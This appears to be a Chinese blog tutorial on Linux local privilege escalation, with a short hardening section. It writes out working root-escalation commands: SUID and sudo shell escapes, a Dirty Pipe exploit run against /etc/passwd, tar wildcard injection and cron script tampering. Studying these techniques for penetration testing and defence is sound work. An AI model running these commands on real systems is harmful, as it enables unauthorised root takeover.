Linux本地提权

⚡ 一句话速览:本地提权(LPE)是渗透测试中从低权限用户获取 root 的关键技术。本文从 SUID内核漏洞CronSudo 四个维度展开实战讲解,附带完整提权命令和防御加固方案。


Linux 本地提权全流程攻防图获得低权限 Shell系统信息枚举SUID 提权内核漏洞Cron 任务Sudo 滥用服务/配置是GTFOBins是下载 Exploit是修改脚本是sudo -l是服务探测执行 SUID 溢出编译运行 Exploit等待 Cron 触发执行 sudo 命令服务漏洞利用Root?Root?Root?Root?Root?是是是是是Root Shell ✅否否否否否尝试其他提权方式提权失败 ❌

图:Linux 本地提权全流程攻防图

关键词: Linux提权工具 · 本地提权 · SUID滥用 · 内核漏洞利用 · Dirty Pipe · GTFOBins · 渗透测试实战

概述

概述

在渗透测试实战中,获得初始访问后,本地提权是关键一步。本文将深入讲解Linux系统常见的提权方法,包括SUID滥用内核漏洞利用(如Dirty Pipe CVE-2022-0847)、Cron任务劫持以及sudo配置错误。通过本文,你将掌握使用Linux提权工具GTFOBinsfind命令进行权限提升攻击的技巧,并了解相应的防御加固建议。

SUID 提权技术

        SUID (Set User ID) 允许普通用户以文件所有者的权限执行程序。滥用SUID二进制文件是经典的提权方式。

查找SUID文件

使用find命令查找系统中的SUID文件:

find / -perm -4000 -type f 2>/dev/null

利用nmap

如果nmap具有SUID权限,可以启动交互式shell:

nmap --interactive
!sh

利用vim

vim带有SUID时,可以执行shell:

vim -c ':!/bin/sh'

其他常见SUID二进制如lessawk等也可类似利用。

内核漏洞提权 – Dirty Pipe CVE-2022-0847

Dirty Pipe (CVE-2022-0847) 影响Linux内核5.8至5.16版本,允许无权限用户覆盖任意只读文件。

环境检查

uname -r

若版本在范围内,则可能存在漏洞。

利用步骤

  1. 下载利用脚本(如dirtypipe.c)。
  2. 编译并执行:
gcc -o dirtypipe dirtypipe.c -lpthread
./dirtypipe /etc/passwd

该脚本会覆盖/etc/passwd,移除root密码,随后可通过su root提权。

注意:内核漏洞利用可能造成系统不稳定,需谨慎。

Cron 任务劫持

Cron任务若配置不当,可被用于提权。

通配符注入

如果Cron脚本使用通配符(如tar *),攻击者可创建同名文件触发命令执行:

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > test.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh test.sh"

当Cron执行tar *时,会运行恶意脚本。

可写脚本

若Cron脚本或二进制文件可被普通用户写入,可直接修改:

echo "chmod +s /bin/bash" >> /usr/local/bin/backup.sh

等待Cron执行后,/bin/bash即具有SUID。

Sudo 滥用提权

sudo配置错误允许用户以root权限执行特定命令,利用GTFOBins可查询提权方法。

查询GTFOBins

访问GTFOBins搜索命令,例如findlessawk等。

利用find

如果sudo允许执行find

sudo find . -exec /bin/sh \; -quit

利用less

sudo less /etc/passwd
!sh

利用awk

sudo awk 'BEGIN {system("/bin/sh")}'

防御加固建议

  1. 最小化SUID:移除不必要的SUID二进制,使用chmod -s
  2. 及时更新内核:修补已知漏洞如Dirty Pipe。
  3. 限制sudo权限:遵循最小权限原则,避免滥用。
  4. 保护Cron任务:避免使用通配符,脚本目录设为不可写。
  5. 使用安全工具:定期扫描SUID文件和审计sudo配置。

常见错误及解决

  1. SUID文件查找无结果:确保命令以root运行或使用-perm -4000正确。
  2. 内核漏洞利用失败:检查内核版本是否匹配,编译环境是否完整。
  3. Cron劫持不生效:确认Cron任务路径和权限,等待足够时间。

总结

本文覆盖了Linux本地提权的核心技术,包括SUID滥用、内核漏洞利用、Cron劫持和sudo滥用。掌握这些权限提升攻击方法,有助于在渗透测试实战中提升效率。同时,理解Linux系统安全防御措施,能更好地保护系统免受攻击。

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

This website uses cookies to analyze site traffic and improve your experience. By continuing to use this site, you consent to our use of cookies.